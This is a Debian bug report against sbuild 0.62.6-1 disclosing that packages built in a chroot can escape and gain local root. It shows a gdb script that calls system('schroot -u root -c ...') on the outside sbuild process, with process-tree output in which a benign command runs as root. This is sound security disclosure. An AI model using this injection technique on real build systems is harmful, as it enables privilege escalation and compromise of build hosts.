[buildd-tools-devel] Bug#661037: process building package can escape from chroot and gain local root

[Ansgar Burchardt]

Package: sbuild
Version: 0.62.6-1
Severity: important
Tags: security

When building a package with sbuild, the processes running in the chroot
can escape from there and gain local root. This is possible as the
processes in- and outside of the chroot environment run under the same
user id and the outside process can run commands as root in the chroot
environment.

To be precise, a malicious package could for example use gdb to attach
to the outside process and then execute something along the lines of
system("schroot -u root -c [known-chroot-name] [some-command]").  An
example package doing so is attached (it needs procps installed in the
chroot):

=====================================================================
[...]
1001     12772   \_ /usr/bin/perl /usr/bin/sbuild -j12 -d unstable -A sbuild-to-root_1.dsc
1001     12779       \_ package log for sbuild-to-root_1_amd64
root     13988       \_ schroot -d /«PKGBUILDDIR» -c unstable-amd64-sbuild-0fda4b02-2706-4743-8931-1c77cac39d9c --run-session -q -u sbuild-user -p -- dpkg-buildpackage -us -uc -b -rfakeroot -j12
1001     13989           \_ /usr/bin/perl /usr/bin/dpkg-buildpackage -us -uc -b -rfakeroot -j12
1001     14041               \_ /usr/bin/make -f debian/rules build
1001     14042                   \_ /usr/bin/perl -w /usr/bin/dh build
1001     14051                       \_ /usr/bin/make -f debian/rules override_dh_auto_build
1001     14052                           \_ /bin/sh ./sbuild-to-root
1001     14053                               \_ ps axfu
[...]
Will try using 12772...
Guessed chroot name: unstable-amd64-sbuild
--- gdb-script -----------------------
p system("cd /; schroot -u root -c unstable-amd64-sbuild ps axfu")
detach
--------------------------------------
[...]
1001     12772   \_ /usr/bin/perl /usr/bin/sbuild -j12 -d unstable -A sbuild-to-root_1.dsc
1001     12779       \_ package log for sbuild-to-root_1_amd64
root     13988       \_ schroot -d /«PKGBUILDDIR» -c unstable-amd64-sbuild-0fda4b02-2706-4743-8931-1c77cac39d9c --run-session -q -u sbuild-user -p -- dpkg-buildpackage -us -uc -b -rfakeroot -j12
1001     13989       |   \_ /usr/bin/perl /usr/bin/dpkg-buildpackage -us -uc -b -rfakeroot -j12
1001     14041       |       \_ /usr/bin/make -f debian/rules build
1001     14042       |           \_ /usr/bin/perl -w /usr/bin/dh build
1001     14051       |               \_ /usr/bin/make -f debian/rules override_dh_auto_build
1001     14052       |                   \_ /bin/sh ./sbuild-to-root
1001     14068       |                       \_ gdb -batch -x gdb-script /usr/bin/perl 12772
1001     14072       \_ sh -c cd /; schroot -u root -c unstable-amd64-sbuild ps axfu
root     14073           \_ schroot -u root -c unstable-amd64-sbuild ps axfu
root     14169               \_ /bin/ps axfu
[...]
=====================================================================

As building untrusted package is not a good idea anyway, I don't think
this issue is grave, however it would still be nice if there was an
option to run the processes inside the chroot under a different userid.

Regards,
Ansgar

-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing'), (100, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 3.2.0-1-amd64 (SMP w/12 CPU cores)
Locale: LANG=C, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages sbuild depends on:
ii  adduser         3.113+nmu1
ii  apt-utils       0.8.15.9
ii  libsbuild-perl  0.62.6-1
ii  perl            5.14.2-7
ii  perl-modules    5.14.2-7

Versions of packages sbuild recommends:
ii  debootstrap  1.0.38
ii  fakeroot     1.18.2-1

Versions of packages sbuild suggests:
ii  deborphan  <none>
ii  wget       1.13.4-2

-- no debconf information
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